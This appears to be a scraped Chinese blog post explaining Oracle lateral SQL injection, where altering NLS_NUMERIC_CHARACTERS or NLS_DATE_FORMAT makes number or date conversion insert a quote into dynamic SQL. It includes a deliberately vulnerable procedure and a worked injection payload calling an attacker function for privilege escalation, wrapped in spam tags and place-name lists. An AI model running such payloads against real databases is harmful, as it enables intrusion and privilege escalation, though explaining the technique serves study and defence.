濮阳杆衣贸易有限公司

主頁 > 知識庫 > ORACLE LATERAL-SQL-INJECTION 個(gè)人見解

ORACLE LATERAL-SQL-INJECTION 個(gè)人見解

熱門標(biāo)簽:語音電話機(jī)器人營銷方案 語音電話機(jī)器人缺點(diǎn) 淮安自動外呼系統(tǒng)開發(fā) 地圖標(biāo)注原件 百變地圖標(biāo)注 修改高德地圖標(biāo)注 廣州市400電話辦理 南通防封外呼系統(tǒng)運(yùn)營商 宜賓外呼系統(tǒng)廠家
如果直接執(zhí)行SQL語句或者參數(shù)綁定則不用擔(dān)心太多,
如以下ORACLE存儲過程
create or replace procedure kjdatepoc(date d)

as

begin

insert into kjdatetable values(d);

commit;

end;

根本不需要擔(dān)心遭受到SQL新型注入攻擊,那么在什么地方會發(fā)生DATE 以及 NUMBER的注入攻擊呢???一般都是采用了動態(tài)SQL而又不采用參數(shù)綁定的語句。

例如工程師經(jīng)常用的DBMS_SQL或者EXECUTE IMMEDIATE

看以下存儲過程

create or replace procedure kjdatepoc(date d)

as

begin

execute immediate ‘insert into kjdatetable values('|| d ||')';

commit;

end;

那么遇到以上的存儲過程或者函數(shù)等,也通過修改SESSION中的NLS_DATE_FORMAT中的值達(dá)到SQL注射的目的,

老外的PAPER講解得非常詳細(xì)了 ,我在這里也不廢話。

惟獨(dú)對于 NUMBER類型的注射沒有多作講解 只是簡單演示了可以輸出單引號!

看以下語句

ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';

SELECT to_number(1000.10001,'999999D99999′)||” FROM DUAL;

輸出一下結(jié)果

1000′10001

只是多了一個(gè)單引號,那有什么用呢?樂觀的來說!在特定情況下是很有價(jià)值的!看以下一個(gè)存儲過程

create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)

is

SecStr varchar2(1000);

begin

SecStr:=replace(kjexpstr,””,”””);

sys.dbms_output.put_line('SELECT * FROM DUAL WHERE ID='||kjexpnum||' and name=”'||SecStr||””);

end;

內(nèi)部對varchar類型進(jìn)行替換了!我們可以進(jìn)行測試

begin

numinjpoc(1000,”'–');

end;

其輸出SQL語句為

SELECT * FROM DUAL WHERE ID=1000 and name=”'–'

單引號被轉(zhuǎn)義掉了

那么如果我們結(jié)合這個(gè)NUMBER類型怎么進(jìn)行注射呢?

ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';

begin

numinjpoc(TO_NUMBER(0.10001,'999999D99999′),'||kj.exp()–');

end;

看看輸出結(jié)果

SELECT * FROM DUAL WHERE ID='10001 and name='||kj.exp()–'

這樣就可以間接的攻擊它…

在某中程度才來需要ALTER SESSION 配合后,再去攻擊系統(tǒng)內(nèi)部的一些函數(shù)或者過程來提升權(quán)限。未嘗不是一種好的突破思路,但是對于單語句進(jìn)行SQL注射攻擊,以結(jié)果為向?qū)У脑?!這樣的方式?jīng)]多大作為。

標(biāo)簽:池州 通化 襄陽 股票投資 嘉峪關(guān) 南平 南平 聊城

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《ORACLE LATERAL-SQL-INJECTION 個(gè)人見解》,本文關(guān)鍵詞  ORACLE,LATERAL-SQL-INJECTION,個(gè)人,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《ORACLE LATERAL-SQL-INJECTION 個(gè)人見解》相關(guān)的同類信息!
  • 本頁收集關(guān)于ORACLE LATERAL-SQL-INJECTION 個(gè)人見解的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    西乌珠穆沁旗| 扶余县| 呼和浩特市| 安福县| 临武县| 太保市| 桐城市| 金湖县| 翁牛特旗| 雅江县| 大荔县| 肥东县| 高陵县| 广德县| 额尔古纳市| 长垣县| 夏津县| 沙洋县| 黄骅市| 阿瓦提县| 阿克陶县| 青田县| 特克斯县| 隆回县| 舒城县| 南阳市| 榆中县| 获嘉县| 蓬溪县| 永清县| 呼和浩特市| 平原县| 乃东县| 汨罗市| 保亭| 永州市| 玉溪市| 乌兰察布市| 石泉县| 陵川县| 顺平县|